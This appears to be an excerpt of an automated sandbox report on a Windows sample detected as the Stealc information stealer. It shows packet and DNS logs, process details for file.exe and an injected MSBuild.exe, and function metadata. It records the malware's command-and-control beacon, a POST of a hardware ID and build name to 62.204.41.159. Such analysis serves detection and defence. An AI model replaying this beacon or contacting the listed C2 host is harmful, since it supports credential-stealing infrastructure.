Oct 7, 2024 03:16:50.825998068 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.826067924 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.826106071 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.826106071 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.826129913 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.826152086 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.831198931 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.831311941 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.831340075 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.831615925 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.866209030 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.866209030 CEST	49974	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.866281986 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.866322041 CEST	443	49974	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.867259979 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.867335081 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.867444992 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.867444992 CEST	49976	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.867481947 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.867506027 CEST	443	49976	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.874502897 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.874536991 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.874608994 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.874834061 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.874849081 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.875825882 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.875945091 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.876013994 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.876149893 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.876173019 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.876229048 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.876274109 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.876315117 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:50.876342058 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:50.876365900 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.264877081 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.265422106 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.265456915 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.265959978 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.265970945 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.538723946 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.538779974 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.538842916 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.538872957 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.538938999 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.539089918 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.539138079 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.539165974 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.539190054 CEST	49978	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.539203882 CEST	443	49978	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.542128086 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.542165995 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.542244911 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.542372942 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.542387009 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.628011942 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.628711939 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.628773928 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.629216909 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.629231930 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.630764961 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.631227016 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.631248951 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.631792068 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.631798983 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.635523081 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.635773897 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.635780096 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.635802984 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.636014938 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.636049986 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.636063099 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.636070013 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.636497974 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.636514902 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.726494074 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.726639986 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.726807117 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.726897955 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.726938009 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.726965904 CEST	49982	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.726984024 CEST	443	49982	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.728497028 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.728666067 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.728719950 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.728746891 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.728764057 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.728774071 CEST	49980	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.728779078 CEST	443	49980	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.730901003 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.730987072 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.731075048 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.731211901 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.731242895 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.731421947 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.731499910 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.731571913 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.731699944 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.731734037 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.736515045 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.736670017 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.736735106 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.736780882 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.736780882 CEST	49979	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.736807108 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.736828089 CEST	443	49979	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.738277912 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.738434076 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.738518953 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.738560915 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.738560915 CEST	49981	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.738580942 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.738600969 CEST	443	49981	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.738640070 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.738667965 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.738723993 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.738831043 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.738859892 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.740215063 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.740238905 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:51.740317106 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.740436077 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:51.740462065 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.184411049 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.185355902 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.185369968 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.185762882 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.185769081 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.282609940 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.282706022 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.282756090 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.282768965 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.282835007 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.282881975 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.283025980 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.283045053 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.283054113 CEST	49983	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.283061028 CEST	443	49983	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.374551058 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.375299931 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.375366926 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.375721931 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.375737906 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.381539106 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.381899118 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.381957054 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.382266998 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.382280111 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.391932964 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.392254114 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.392270088 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.392723083 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.392734051 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.398164988 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.398468971 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.398500919 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.398813009 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.398823977 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.472536087 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.472672939 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.472827911 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.472879887 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.472879887 CEST	49986	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.472908974 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.472933054 CEST	443	49986	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.482554913 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.482685089 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.482750893 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.482903957 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.482903957 CEST	49984	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.482939005 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.482963085 CEST	443	49984	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.493236065 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.493397951 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.493594885 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.493757010 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.493757963 CEST	49987	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.493772984 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.493792057 CEST	443	49987	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.501846075 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.501914978 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.501975060 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.502027988 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.502048016 CEST	443	49985	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:52.502069950 CEST	49985	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:52.502084017 CEST	443	49985	13.107.246.60	192.168.2.6

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 03:16:09.651515961 CEST	1.1.1.1	192.168.2.6	0xbb71	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:16:09.651515961 CEST	1.1.1.1	192.168.2.6	0xbb71	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:16:19.627959013 CEST	1.1.1.1	192.168.2.6	0xf76a	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 03:16:19.627959013 CEST	1.1.1.1	192.168.2.6	0xf76a	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:16:20.992381096 CEST	1.1.1.1	192.168.2.6	0x24ad	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 03:16:20.992381096 CEST	1.1.1.1	192.168.2.6	0x24ad	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

62.204.41.159

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	62.204.41.159	80	5580	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 03:16:03.334476948 CEST	88	OUT	GET / HTTP/1.1 Host: 62.204.41.159 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:16:04.028220892 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:16:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 03:16:04.074575901 CEST	419	OUT	POST /edd20096ecef326d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 62.204.41.159 Content-Length: 219 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 39 39 30 33 37 36 38 32 34 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 35 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"F990376824272029741119------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"default5_doz------IDHDGDHJEGHIDGDHCGCB--
Oct 7, 2024 03:16:04.548206091 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:16:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	21:16:01
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3e0000
File size:	514'936 bytes
MD5 hash:	79175E5ACBEF41E7BD57BE7381965C49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:16:02
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x3b0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:16:02
Start date:	06/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xf70000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.2144302297.0000000001597000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.3%
Total number of Nodes:	270
Total number of Limit Nodes:	5

Executed Functions

Function 003E1FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(004596E0,000004E4,00000040,?), ref: 003E2497

Strings

V, xrefs: 003E2408

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: V
API String ID: 544645111-1342839628
Opcode ID: 47b09969c3cd501e499684868b555ccd4b8d8a2873fd260cf45cbba871834838
Instruction ID: 5f8cb0c4ad9d6a2b67dd7704276cee9ee8b413f852b9ef39572d95cea8c235dd
Opcode Fuzzy Hash: 47b09969c3cd501e499684868b555ccd4b8d8a2873fd260cf45cbba871834838
Instruction Fuzzy Hash: B6A1ED17630EAF06D30CA0378D522F7A14EE7BA731F854337AE26977E5D35A4D019284

Function 003FA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction ID: 9ebc5e945871be9f93f30355c0461f88c60323b3050fafdd0417e750b375fe76
Opcode Fuzzy Hash: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction Fuzzy Hash: F1E08C72A1162CEBCB16DB89D9449AAF3FCEB45B00B11009BF605D3100C270DE00C7D0

Function 003F0C7E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction ID: b3cf2386fb603dedfc948824ddaf2f99ee7aeb5df1b21602737f03be629bd18d
Opcode Fuzzy Hash: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction Fuzzy Hash: 88C08C38040E0887CE2F8D1882B53B83355A391782F92098CC6564FA43C52E9C82D601

Function 003F5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,29FB914E,?,003F5DA5,003EC196,?,F8250000,00000000), ref: 003F5D59

Strings

api-ms-, xrefs: 003F5CEF
ext-ms-, xrefs: 003F5D03

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 6ce7b8e7501a527f989d48b0159ba9705127439c8b8f947b457c55ac7f09bfb5
Instruction ID: 8c53649735991912d0c6d4c6d8189bce709977017150a581fd96c3481e2c8a75
Opcode Fuzzy Hash: 6ce7b8e7501a527f989d48b0159ba9705127439c8b8f947b457c55ac7f09bfb5
Instruction Fuzzy Hash: 5621E731A02B19A7C7239B24DD49A7A7B69DF45765F250230FB06BB2D1D770ED01C6E0

Function 003F8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 003F8D2B

Part of subcall function 003F37D3: HeapAlloc.KERNEL32(00000000,003F9EFA,?,?,003F9EFA,00000220,?,?,?), ref: 003F3805

__freea.LIBCMT ref: 003F8D40
__freea.LIBCMT ref: 003F8D50

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
